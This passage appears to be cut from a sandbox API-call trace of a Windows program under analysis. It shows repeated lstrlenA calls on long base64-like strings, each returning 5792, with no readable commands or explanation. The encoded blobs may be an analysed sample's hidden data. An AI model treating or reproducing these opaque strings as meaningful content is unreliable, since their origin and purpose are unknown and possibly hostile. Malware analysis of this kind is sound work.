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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od